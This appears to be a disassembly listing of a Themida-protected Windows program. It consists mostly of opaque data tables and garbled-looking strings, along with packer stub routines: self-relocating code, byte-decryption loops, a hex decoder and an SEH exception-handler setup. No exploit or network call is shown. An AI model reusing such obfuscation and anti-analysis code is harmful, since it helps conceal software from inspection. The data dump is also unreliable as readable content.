		dd 0FFA92198h, 0Dh dup(0)
		dd 8001FCFBh, 4	dup(0)
		dd 32F7E9EFh, 6	dup(0)
		dd 8001FCFCh, 3	dup(0)
		dd 32h,	3044h, 2 dup(0)
		dd offset word_5785CE
aIddi@V		db '┴ddI@',1Bh,'╢v',0
		align 4
		dd 1Ah dup(0)
		dd 0E0F37630h, 64h dup(0)
		dd 0FFFFC8FDh, 0
		dd 1, 31275558h, 0
		dd offset byte_57E131
		align 10h
aG		db '%Gра',0
		align 4
		dd 3 dup(0)
		dd 32597F5Dh, 75B5h, 0Ch dup(0)
		dd 2Bh,	3 dup(0)
		dd offset word_570442
aSjiw		db 'И╕Кw',0
		align 10h
		dd offset dword_540A88
		dd 7FFE0304h, 5	dup(0)
		dd 7FFE0304h, 0
		dd 0FFFF5417h, 6 dup(0)
		dd 0FFA83CF3h, 5 dup(0)
		dd offset word_5AA08A
		dd 6D07FED2h, 4	dup(0)
aGW		db 0Bh,'ёыw',0
		align 4
		dd 400000h, 7F3F0h, 8 dup(0)
		dd 0FFFF012Ah, 5AA0DEh,	2 dup(0)
		dd offset byte_5B1E63
		dd 6 dup(0)
aUo3		db 'Uo©3',0
		align 4
		dd 2 dup(0)
		dd offset dword_52F848+7DBh
		dd 2 dup(0)
		dd offset byte_5B4239
		dd 3 dup(0)
		dd offset byte_5B9DD9
		dd 19h,	8001FCFCh, 2 dup(0)
aKIj8X		db 'k ┬├#8ыX',0
		align 10h
		dd 7FFE0304h, 0C3EFDFECh, 0
		dd 198C8781h, 2	dup(0)
		dd offset byte_5764B3
		align 10h
		dd 6EC7h, 7FFE0304h, 0
		dd 1, 3	dup(0)
		dd 77BFh, 2 dup(0)
		dd 0E0014h, 0
		dd 7C86h, 9F915Bh, 8DD1D95h, 2 dup(0)
		dd 0E4AF0h, 2 dup(0)
		dd offset dword_5B8048
		dd 5 dup(0)
		dd 24048950h, 0
		dd offset byte_57A083
aJCw		db '├дГw',0
		align 4
		dd 7FE7EDF1h, 0
		dd offset byte_5983E7
		dd 0
aU_0:
		dw 3Eh
		unicode	0, <·>,0
		align 10h
		dd 1CD8F95Ch, 2	dup(0)
		dd 0C83526h, 4 dup(0)
		dd 30DFh, 0
		dd 28D0000h, 0FFFF7E5Ch, 77E77963h, 0
		dd 702A06A8h, 0Ah dup(0)
		dd 0FF609623h, 0Ah dup(0)
		dd 4E19EB29h, 2	dup(0)
		dd 5643h, 4 dup(0)
dword_53D930	dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh,	0E853h,	815B0000h
					; DATA XREF: Themida_:0053F4ECo
		dd 17C3h, 245C8900h, 24448910h,	37B85B14h, 0FF009FA0h
		dd 24448BE0h, 0E0FF04h,	13h dup(0)
		dd offset byte_5B31B5
		dd 8 dup(0)
		dd offset dword_578DC4
		dd 3 dup(0)
		dd 9F9C37h, 0
aGi		db '┐iци',0
		align 4
		dd 0FFFF9F1Ch, 77DD59F0h, 0
		dd 32597F5Dh, 77F5180Bh, 0FFFFFFFFh, 8803AFDCh,	7100h
		dd 3 dup(0)
		dd offset dword_578DC4
		dd 9 dup(0)
		dd 0FF609BB9h, 6 dup(0)
a6ri		db '{6r╘',0
		align 4
		db 0Bh,'^',0
		align 10h
		dd 0
		dd 0ACh, 15F724h, 4 dup(0)
		dd offset word_59042E
		dd 4 dup(0)
		dd 0FFFFA15Ch, 2 dup(0)
		dd 1256A2ABh, 9F8C0Ah, 2 dup(0)
		dd 100h, 2 dup(0)
aVcw		db 'мvГw',0
		align 10h
		dd 3 dup(0)
aComi1I		db 'Co▄╗1т╟К',0
		align 4
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset dword_5BE64C
		dd 77E776CDh, 1, 0C83526h, 7 dup(0)
		dd offset byte_576983
		align 8
		dd 77E6D706h, 3	dup(0)
aNnQ		db '██ q',0
		align 10h
		dd 8001FCFCh, 8	dup(0)
		dd 0FFFB8FBDh, 2 dup(0)
dword_53DB70	dd 0A03268h, 5 dup(0)	; DATA XREF: Themida_:0053DBD4o
		dd 0A01568h, 2 dup(0)
		dd 2B729A9h, 0
		dd 0A38D53h, 0DE81h, 0A17FD8h, 5 dup(0)
aHf		db 'сHД>',0
		align 4
		dd 4 dup(0)
		dd offset dword_53DB70+4
		dd 0Eh dup(0)
		dd 1C9A7993h, 3	dup(0)
		dd offset byte_5A7657
		dd 5 dup(0)
		dd 12FF54h, 4 dup(0)
		dd 0ACh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 0FBB524h, 5 dup(0)
		dd 0C9A4B70Fh, 4 dup(0)
		dd 9F9499h, 0
		dd offset word_5B0332
		align 10h
		dd 7FFE0304h, 5924h, 2 dup(0)
		dd 1CE0349h, 0
		dd 0FFFFE7ACh, 12FFC4h,	9F69DDh, 13h dup(0)
		dd 1, 7FFE0200h, 0
		dd 0FFA72343h, 0
		dd 0FFA89622h, 0D5B06154h, 5A27C3h, 0FFA8967Dh,	3 dup(0)
		dd 7FFE0304h, 53D491h, 5 dup(0)
		dd 32h,	9 dup(0)
		dd 4, 3	dup(0)
		dd 0FFFFFFFFh, 0
		dd offset byte_576983
		dd 0F875A562h, 80h, 2 dup(0)
		dd 7FFE0304h, 2	dup(0)
		dd 1, 56FA7Dh, 1Eh dup(0)
		dd 0A03154h, 6A75BBEFh,	7 dup(0)
		dd 0FF096C8Eh, 0B1h dup(0)
		dd 1, 77DD23D7h, 2 dup(0)
		dd 1A0000h, 5A18C4h, 8 dup(0)
		dd 3C102014h, 0
		dd offset byte_5759C7
		align 10h
		dd 5F94h, 5DC059CEh, 0
		dd offset aIRx		; "]б┴╟░xл"
		dd 6 dup(0)
a6666		db '6666',0
		align 10h
		dd 22h dup(0)
		dd 9FD05Bh, 3 dup(0)
		dd offset dword_5AA824
		align 10h
a0I		db 'ъ0е╘',0
		align 10h
		dd 0AA18h, 77E77963h, 4	dup(0)
		dd offset byte_585151
		dd 2 dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd offset byte_592CC5
		dd 9F9234h, 7 dup(0)
		dd 240000Ch, 561D2Ch, 8	dup(0)
		dd offset word_59913A
		align 10h
aZasw		db 'zAХw',0
		align 4
		dd offset byte_5930B3
		align 10h
		dd 918F61h, 7 dup(0)
		dd 1CF16DBCh, 0
		dd 0FFB8A888h, 2 dup(0)
		dd offset byte_576983
		dd 3 dup(0)
		dd 9FA00Fh, 0Ch	dup(0)
		dd offset byte_5B31B5
		dd 1FAAF530h, 6D5C3A43h, 706E755Fh, 656B6361h, 72h, 86h	dup(0)
		dd offset word_5964D6
		dd 7FFE0304h, 0
		dd offset dword_4DE000
		dd 7 dup(0)
		dd 70h,	0
		dd 0FFFF9DCCh, 3 dup(0)
		dd 1FE70A24h, 6	dup(0)
		dd 0C455D518h, 3 dup(0)
		dd 0E100h, 0
		dd 66CDFBBDh, 0
		dd 79BBh, 10EBh, 0
		dd 12FF60h, 4 dup(0)
		dd 0FFA8FBD6h, 12FF60h,	17h dup(0)
aWr		db '`йWЮ',0
		align 4
		dd 5 dup(0)
		dd 1, 4	dup(0)
		dd offset byte_576983
		dd 2 dup(0)
		dd 6D07FED2h, 0
		dd 12FFF0h, 0
		dd offset word_5A551A
		dd 7 dup(0)
dword_53E708	dd 0A01568h, 3 dup(0)	; DATA XREF: Themida_:0053FF60o
		dd 9DD0h, 0
aJz		db '"""""""":╕Z',0
aQ_0		db 'ч+÷',0
		dd 7 dup(0)
		dd offset dword_5A18F4
		dd 7FFE0304h, 2	dup(0)
		dd 1DFFFF6h, 0
		dd offset dword_570000
		dd 0Ch dup(0)
		dd 6Ch,	0FFA85F7Dh, 2 dup(0)
		dd 0A3AC01E7h, 2 dup(0)
		dd 1434h, 0
		dd offset byte_57CB45
		dd 2 dup(0)
		dd 6A75BBEFh, 7FFE0304h, 2 dup(0)
		dd 5858h, 8 dup(0)
		dd 7FFE0304h, 70A5C05Dh, 0F4BD2260h, 0
		dd 4A95h, 23h dup(0)
		dd 600B8014h, 5	dup(0)
aSSw		db 'Х/Хw',0
		align 4
		dd 4 dup(0)
		dd 36141h, 982633E5h, 0
		dd 6EC7h, 7 dup(0)
		dd 3617C2C8h, 540E5Bh, 598231h,	3 dup(0)
		dd 0ADB1CAh, 3 dup(0)
		dd 77E7A099h, 0E0BAF3E4h, 0
		dd 0A3A5E7h, 3 dup(0)
		dd 2400000h, 2 dup(0)
a4fuk		db '4ДЦk',0
		align 10h
		dd 0FFEFEDF5h, 5A7435h,	0
		dd 90h,	2 dup(0)
		dd 0FFFFFFFFh, 0
		dd 77F7EBB3h, 5964D6h, 24h dup(0)
		dd 0FFFF8CB4h, 7FFE0304h, 2 dup(0)
		dd 0C6CEh, 3 dup(0)
		dd 1, 0BAD0h, 3	dup(0)
		dd 2A45544h, 2 dup(0)
		dd 0FD9BB69Bh, 0Bh dup(0)
		dd 38000h, 3 dup(0)
		dd 4, 2	dup(0)
		dd 7FFE0304h, 77F50000h, 2 dup(0)
		dd 0FFABFA19h, 0
		dd 0A19BACh, 0FFFF9139h, 3 dup(0)
		dd 0Fh,	7FFE0304h, 0A17316h, 8001FCFCh,	4 dup(0)
		dd 0F39h, 2486CB8h, 5 dup(0)
		dd offset byte_5AC133
		dd offset aVgdejziiklmnop ; "┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ё╓╔╕╖╗"...
		align 8
		dd 0FFFF8CB8h, 2 dup(0)
		dd 5, 2	dup(0)
		dd 9FA00Fh, 2 dup(0)
		dd offset byte_597231
		dd 4 dup(0)
		dd 6EC7h, 3 dup(0)
		dd 0B5E2h, 7 dup(0)
		dd offset aA_2		; "`aб\b"
		dd 5F88h, 0
		dd 3 dup(33333333h), 7FFE0304h,	4001D8h, 0A9106270h, 0
		dd 6EC7h, 3C102014h, 0B325962Eh, 0
		dd 41D0h, 0A8h,	0
		dd 0FFFFFF84h, 4 dup(0)
aMcw		db '^╛Гw',0
		align 10h
		dd 4 dup(0)
		dd 0FFA92137h, 0AC6DED36h, 577887h, 0Bh	dup(0)
		dd 7FFE1B43h, 2	dup(0)
		dd 25A0000h, 0
		dd 0FFA8967Dh, 0
		dd 77E805D8h, 2	dup(0)
		dd offset sub_401000
		dd offset word_5AC022
		dd 4 dup(0)
		dd 10EBh, 59128Dh, 0
		dd offset byte_5B4239
		dd 2 dup(0)
		dd 5E8B700h, 9 dup(0)
		dd 5FCBh, 7 dup(0)
		dd 1, 12FFA4h, 0FFFC9BB9h, 0
		dd 10EBh, 5 dup(0)
		dd 0FFFF8CB4h, 0
		dd 12FFE0h, 0
		dd offset byte_5A5275
		dd 77F52E0Fh, 2	dup(0)
		dd 7FF2151Ch, 0A39995h,	7B7647CBh, 2 dup(0)
		dd offset byte_59346F
		dd 3 dup(0)
		dd offset byte_57A00F
		dd 3 dup(0)
		dd 1CF165F4h, 3	dup(0)
		dd offset byte_576983
		dd 9 dup(0)
aIgu		db 'шКёU',0
		align 4
		dd 2 dup(0)
		dd 2580000h, 0
		dd 9F69C8h, 4 dup(0)
aG_		db '┐.',27h,'=',0
		align 10h
		dd 6 dup(0)
		dd 11111111h, 0
		dd 0FFFF5B62h, 2 dup(0)
		dd 77D40000h, 9	dup(0)
		dd 20EE9h, 8001FCFCh, 6	dup(0)
		dd 20EE9h, 5A8FE4h, 12967Dh, 3 dup(0)
		dd 9F3E3Bh, 2 dup(0)
		dd offset dword_583108
		dd 2 dup(0)
		dd 6EC7h, 2 dup(0)
		dd 0FFFF8C67h, 0FFFFEF15h, 2 dup(0)
		dd offset byte_5AC133
		dd 2 dup(0)
		dd 5E8E6EF9h, 3	dup(0)
		dd 0FFFF5B62h, 4 dup(0)
		dd 100h, 2 dup(0)
		dd 12FF54h, 0
		dd offset byte_598231
		dd 0
		dd offset dword_5A3A9C
		dd 734Ch, 3 dup(0)
		dd 25B0000h, 6 dup(0)
		dd 68h,	0
		dd 0AD0000h, 0
		dd offset byte_570023
		dd 74h,	4 dup(0)
		dd 9E0000h, 5 dup(0)
aB_0		db '*]│',1Bh,0
		align 8
aI_1		db 'К',8,0
		align 4
		dd 3 dup(0)
		dd 1, 24h dup(0)
		dd offset byte_5A3E8F
		dd 3 dup(0)
		dd 1F83C8F0h, 3	dup(0)
		dd 0F681FDh, 78h, 2 dup(0)
		dd 8Ch,	3 dup(0)
		dd 0FFA8967Dh, 0
aGaj		db 'ё─╕м',0
		align 4
		dd 3D1492CFh, 28D066Fh,	8 dup(0)
		dd 81A4h, 3 dup(0)
aBc		db 'ю╥b≈',0
		align 4
		dd 9 dup(0)
		dd 5540811Dh, 5	dup(0)
		dd offset dword_5A0C04
		dd 2 dup(0)
		dd 6EC7h, 0
		dd 64B3h, 0A027A3h, 0FFFFDA29h,	8 dup(0)
		dd 3A1h, 9F5E2Eh, 0Dh dup(0)
		dd 0D2431AF8h, 3 dup(0)
		dd 21EA30FCh, 0FFF80C10h, 7 dup(0)
		dd offset dword_58545C
		align 10h
		dd 9F09F7h, 3 dup(0)
aKs92		db 'k▒92',0
		align 4
		dd 3 dup(0)
aSI		db '≥╢I╣',0
		align 4
		dd 0FFFFFFFEh, 0
		dd offset byte_576983
		dd 0
		dd offset word_593A12
		dd 6 dup(0)
aVlcwf8		db '┌▀Гwf8',0
		align 10h
		dd 77E7A5FDh, 692A0000h, 2 dup(0)
		dd offset word_59C6F2
		align 8
		dd 77E82168h, 7FFE0304h, 6, 80000000h, 0
		dd 7E7Fh, 4 dup(0)
		dd 9F3E3Bh, 2 dup(0)
		dd 7FFE0304h, 4	dup(0)
aTyuj_y		db 'tYU├д.Y',0
		dd offset byte_570D89
		dd 0FFF15A08h, 0
		dd 84h,	2 dup(0)
		dd 12A4C28Ah, 2	dup(0)
		dd 35Bh, 8BCh, 0Dh dup(0)
aHSw		db 'h>Хw',0
		align 10h
		dd 3 dup(0)
		dd 3C700497h, 863045FBh, 0
		dd 0A1B134h, 576983h, 4	dup(0)
		dd 46EDh, 2 dup(0)
		dd offset byte_5B4239
		dd 4 dup(0)
a?bcw		db '?║Гw',0
		align 4
		dd 0FFA8ABBAh, 0
		dd 9E00F8h, 4 dup(0)
		dd offset byte_589FA9
		dd 5 dup(0)
aU_1		db '╢эU',1Bh,0
		align 4
		dd 4F10h, 0
		dd 9FFA56h, 0
		dd 7FFE8A48h, 0
		dd 9FA00Fh, 3 dup(0)
		dd 734Ch, 3 dup(0)
		dd offset byte_5A90F3
		dd 0
		dd 5CE5h, 2 dup(0)
		dd 0FFA4CBB3h, 0A0h, 0EB60752Fh, 28h dup(0)
		dd 7FFE0304h, 0
		dd offset byte_577825
		dd 3 dup(0)
		dd 9F2292h, 3 dup(0)
aUV		db '⌠╫/V',0
		align 10h
		dd 0FFA8B92Eh, 4 dup(0)
		dd 9Ch,	12FF64h, 4 dup(0)
		dd offset word_5785CE
		dd 0
		dd 1000h, 4 dup(0)
		dd 9ED554h, 958A4411h, 3 dup(0)
		dd 0FFFDF10Ah, 2 dup(0)
		dd offset word_5785CE
		dd 3 dup(0)
		dd 3E679Eh, 5 dup(0)
		dd offset dword_5A7BB8
		align 10h
		dd 14DF9052h, 2	dup(0)
		dd offset dword_53D930
		dd 4 dup(0)
		dd offset dword_58635C
		dd 2 dup(0)
aJW_0		db 'jитw',0
		align 4
aDbcw_0		db 'D║Гw',0
		align 4
		dd offset dword_5A50E4
		dd 0
		dd 94h,	0FFED00A0h, 6D07FED2h, 7 dup(0)
		dd 0CEC9D000h, 0Ah dup(0)
		dd 7FE77FB9h, 3	dup(0)
		dd 3A0h, 7FFE0304h, 2 dup(0)
		dd 2B7EBCCh, 0
a8T		db '8©гt',0
		align 4
		dd 0Bh dup(0)
		dd offset byte_576995
		dd 3 dup(0)
		dd offset byte_579595
		dd 14h dup(0)
		dd 88h,	5 dup(0)
		dd 1CF17FFCh, 0FA4BCD6Fh, 77DD5ECCh, 3 dup(0)
		dd 0FF9A7A30h, 0
a9A		db '9;(a',0
		align 4
		dd 6 dup(0)
		dd 0DE6h, 3 dup(0)
		dd 2, 7	dup(0)
		dd 7FFE0304h, 5	dup(0)
		dd 6EA8h, 4 dup(0)
		dd offset byte_57A0E3
		dd 5 dup(0)
		dd 0CEC9D000h, 6 dup(0)
		dd offset word_5964D6
		dd 7 dup(0)
		dd 0FC25C891h, 3 dup(0)
		dd 98h,	7FFEE1BBh, 0
		dd offset byte_5B31B5
		dd 5 dup(0)
		dd offset word_57E136
		dd 0
		dd offset word_590B8A
		dd 7 dup(0)
		dd 0B5E2h, 53D490h, 2 dup(0)
		dd offset byte_5764B3
		dd 4 dup(0)
		dd 0FFFFA15Ch, 0
		dd 0FFFF967Dh, 3 dup(0)
aCw		db '╣\Гw',0
		align 10h
		dd 0
		dd offset dword_58CCE0
		dd 0
aJLx		db '├о╚x',0
		align 4
		dd 0Ah dup(0)
		dd 6EC7h, 2 dup(0)
		dd 0FE21C269h, 12FF54h,	72EE81D9h, 2 dup(0)
aHSwDw		db 'h!ХwЁdW',0
		dd 5 dup(0)
		dd 0FEFF9509h, 578DC4h,	5 dup(0)
aJAgty		db 'шJ/²G▓Y',0
		align 10h
		unicode	0, <╪>,0
		dd 5 dup(0)
aRjh		db 'ЮJH*',0
		align 10h
		dd 2 dup(0)
		dd 7FFE0304h, 0BF003Eh,	0
		dd 0FFA83CF3h, 5A36C6h,	4 dup(0)
		dd 20EE9h, 3C600h, 6 dup(0)
		dd offset byte_5B31B5
		dd 0
		dd 6EC7h, 3 dup(0)
		dd 0FFFFC981h, 2 dup(0)
a7icwhmmn	db '7╗ГwH╛╛N',0
		align 4
		dd 9 dup(0)
		dd 0FFA8967Dh, 5 dup(0)
		dd offset dword_5AE9F0
		align 10h
		dd 0DCh, 0
		dd 29181B1Eh, 8	dup(0)
		dd 0FFA8967Dh, 2 dup(77E60000h), 0
		dd 77DD0000h, 8	dup(0)
aX8Uuq		db 'X8т)⌠⌠÷',0
		dd 0CEC9D000h, 9F69DDh,	0
		dd 7990F482h, 5	dup(0)
		dd 7FFE0304h, 77E78B82h, 7FFE0304h, 579595h, 2 dup(0)
		dd 0FFED7AECh, 9FA037h,	8 dup(0)
		dd 0FFA55F76h, 3 dup(0)
		dd 5F88h, 5 dup(0)
		dd offset dword_536858+124h
		align 10h
		dd 4, 805983B7h, 2 dup(0)
		dd 7800h, 0
		dd 0FFFFFFB0h, 3 dup(0)
		dd 77E80618h, 3	dup(0)
		dd 140ABE3Ch, 9F69DDh, 3 dup(0)
		dd offset byte_5764B3
		dd 9 dup(0)
		dd 9EB168h, 0C5554222h,	2 dup(0)
		dd offset byte_570D61
		dd offset dword_596A6C
		dd 2 dup(0)
		dd 0E80h, 0
		dd offset byte_5764B3
		dd 2 dup(0)
		dd 1, 2	dup(0)
		dd offset byte_58A4BB
		dd 2590000h, 5B8048h, 567E7Dh, 0Ah dup(0)
		dd 0FFA8967Dh, 1017E911h, 0Ch dup(0)
aGaj_0		db 'ё─╕м',0
		align 4
		unicode	0, <|>,0
		dd 2 dup(0)
		dd 0FFFEC6E6h, 5 dup(0)
		dd 0FEF1FC17h, 1AB44FD9h, 0
		dd 19A6h, 8 dup(0)
aC_2		db '[c',9,'к',0
		align 10h
		dd 2, 7FFFFFFFh, 0
		dd 7FFE0304h, 3, 2 dup(0)
		dd 0F4095D00h, 7FFE0304h, 0BA916B46h, 77E70D79h, 0
		dd 9F8C0Ah, 7 dup(0)
		dd 174A764Eh, 0
		dd 77451D43h, 0
		dd 77DD189Ah, 7012B368h, 3 dup(0)
		dd offset off_559B7C
		dd 0A280105h, 2	dup(0)
		dd offset dword_599BF0
		dd 4 dup(0)
		dd 1, 0
		dd 20000h, 0Fh dup(0)
		dd 20EE9h, 0
		dd 12FF54h, 0
		dd 32h,	0B60000h, 0
aRestartapp_exe	db 'RestartApp.exe',0
		align 4
		dd 3 dup(0)
		dd offset byte_579529
aThemida	db 'Themida',0
		dd 1Ch dup(0)
		dd 0FFED00ACh, 5927h, 312D3430h, 5 dup(0)
		dd 168B909Ah, 4	dup(0)
		dd 400000h, 5 dup(0)
		dd 9E0FE6h, 0
		dd 0D0h, 0
		dd 1CD8F95Dh, 6	dup(0)
		dd offset dword_5930EC
		dd 2 dup(0)
aQucwEq		db 'О⌠Гwн┘÷',0
		dd 0
		dd 2590000h, 0
		dd offset byte_570DB1
		dd offset dword_5A5000
		align 8
		dd 3C102014h, 9	dup(0)
		dd 0FFFFFFFFh, 3 dup(0)
		dd 9FA00Fh, 0Bh	dup(0)
		dd offset dword_54006C
		dd 2Bh dup(0)
		dd 0FE21C269h, 2 dup(0)
		dd 7FFE0304h, 1C1F0h, 0FFFDF117h, 2 dup(0)
		dd offset dword_53E708+4
		align 10h
aSlaa		db 'Аl²─',0
		align 4
		dd 5 dup(0)
aSw		db '`!Хw',0
		align 4
		dd offset dword_594524
		dd 0
		dd offset aLS		; "`▀\\$$Х"
		dd 6D07FED2h, 0FFFDF10Ah, 1Dh dup(0)
		dd 7F5E33D2h, 6	dup(0)
		dd 0FF54h, 9F3145h, 0
		dd 0AFA1FEh, 3 dup(0)
		dd 7FFE0304h, 5	dup(0)
dword_54006C	dd 3BCh			; DATA XREF: Themida_:0053FE90o
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_540070:				; CODE XREF: start:loc_53CD6Fj
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 648330Bh
		mov	[ebp+6480F4Dh],	edx
		mov	[ebp+6480C95h],	esi
		mov	[ebp+6481971h],	eax
		cmp	dword ptr [ebp+6482989h], 0
		jz	short loc_5400A8
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_5400A8:				; CODE XREF: start+60086j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6481F85h],	eax
		push	45h
		call	sub_54015C
		push	783749Ah
		call	sub_5401A2
		push	0A894B25h
		call	sub_5401A2
		jmp	loc_5402E6
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 4645h
		dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h
		dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh
		dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh
		db 7Fh,	80h, 81h
aVgdejziiklmnop	db '┌┐└┘├┤┬┴┼▀▄█▌▐░▒▓⌠■∙√≈≤≥ ⌡°²·÷═║╒ё╓╔╕╖╗╘╙╚╛╜╝╞╟╠╡Ё╢╣╤╥╦╧╨╩╪╫╬©юаб'
					; DATA XREF: Themida_:0053EB00o
		db 'ц',0
		align 4
		dd 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54015C	proc near		; CODE XREF: start+600A0p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 64833F9h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_540178:				; CODE XREF: sub_54015C+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_540197
		mov	eax, [ebp+arg_0]
		mov	[ebx+6483363h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_540178
; ---------------------------------------------------------------------------

loc_540197:				; CODE XREF: sub_54015C+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54015C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5401A2	proc near		; CODE XREF: start+600AAp start+600B4p

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 6483442h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_5401C8:				; CODE XREF: sub_5401A2+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5401C8
		mov	[ebp+var_84], 0
		lea	edi, [edx+6483363h]
		lea	esi, [ebp+var_80]

loc_5401F8:				; CODE XREF: sub_5401A2+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_540204:				; CODE XREF: sub_5401A2+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_540204
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5401F8
		popa
		leave
		retn	4
sub_5401A2	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_540242
; ---------------------------------------------------------------------------

loc_54023E:				; CODE XREF: Themida_:00540245j
		inc	dword ptr [ebp-4]
		inc	esi

loc_540242:				; CODE XREF: Themida_:0054023Cj
		cmp	byte ptr [esi],	0
		jnz	short loc_54023E
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_5402D3
; ---------------------------------------------------------------------------

loc_540254:				; CODE XREF: Themida_:005402D6j
		mov	dword ptr [ebp-8], 0
		jmp	short loc_5402CA
; ---------------------------------------------------------------------------

loc_54025D:				; CODE XREF: Themida_:005402CEj
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_5402B7
; ---------------------------------------------------------------------------

loc_54026D:				; CODE XREF: Themida_:005402BBj
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54028F
		cmp	bl, 39h
		ja	short loc_54028F
		sub	bl, 30h
		jmp	short loc_5402B1
; ---------------------------------------------------------------------------

loc_54028F:				; CODE XREF: Themida_:00540283j
					; Themida_:00540288j
		cmp	bl, 61h
		jb	short loc_5402A1
		cmp	bl, 66h
		ja	short loc_5402A1
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_5402B1
; ---------------------------------------------------------------------------

loc_5402A1:				; CODE XREF: Themida_:00540292j
					; Themida_:00540297j
		cmp	bl, 41h
		jb	short loc_5402B1
		cmp	bl, 46h
		ja	short loc_5402B1
		sub	bl, 41h
		add	bl, 0Ah

loc_5402B1:				; CODE XREF: Themida_:0054028Dj
					; Themida_:0054029Fj ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_5402B7:				; CODE XREF: Themida_:0054026Bj
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54026D
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_5402C7
		mov	eax, [ebp-10h]
		stosb

loc_5402C7:				; CODE XREF: Themida_:005402C1j
		inc	dword ptr [ebp-8]

loc_5402CA:				; CODE XREF: Themida_:0054025Bj
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54025D
		add	edx, 4

loc_5402D3:				; CODE XREF: Themida_:00540252j
		cmp	edx, [ebp-4]
		jb	loc_540254
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_5402E6:				; CODE XREF: start+600B9j
		mov	ecx, 7000h
		lea	edi, [ebp+6483588h]

loc_5402F1:				; CODE XREF: start+602E1j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_5402F1
		mov	eax, 48692121h
		mov	edx, 0F00E0000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+64836B3h]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		push	0
		push	ebx
		call	sub_54032D
		and	[ebx-3Dh], bl
; END OF FUNCTION CHUNK	FOR start

; =============== S U B	R O U T	I N E =======================================



sub_54032D	proc near		; CODE XREF: start+60311p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 19h
		inc	ebx
		push	ebx
		retn
sub_54032D	endp

; ---------------------------------------------------------------------------
		db 0Ch,	8Bh, 0FBh
		dd 6646E524h, 0F859CB81h, 6AC22Bh, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 60AA1CC3h, 12E8h, 79514000h
		dd 97E0B5F8h, 6220F408h, 905B895Ch, 58B98F1Ch, 6830Fh
		dd 0E9810000h, 27774142h, 0F0002561h, 8B66FFFFh, 33CA8BD9h
		dd 388166FFh, 0E755A4Dh, 3C50B70Fh, 3A81D003h, 4550h, 2D0874h
		dd 47000010h, 8F64E3EBh, 5, 4C48300h, 36C6958Dh, 64520648h
		dd 35FFh, 89640000h, 25h, 2DC10300h, 1000h, 8104708Bh
		dd 0FF0000E6h, 0FE81FFh, 76800000h, 1C708B03h, 0F883C033h
		dd 661F7432h, 5A4D3E81h, 0EE810974h, 10000h, 8BEBEB40h
		dd 0FE033C7Eh, 45503F81h, 44740000h, 8F64E8EBh,	5, 4C48300h
		dd 8B51C361h, 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h
		dd 0E8551024h, 0
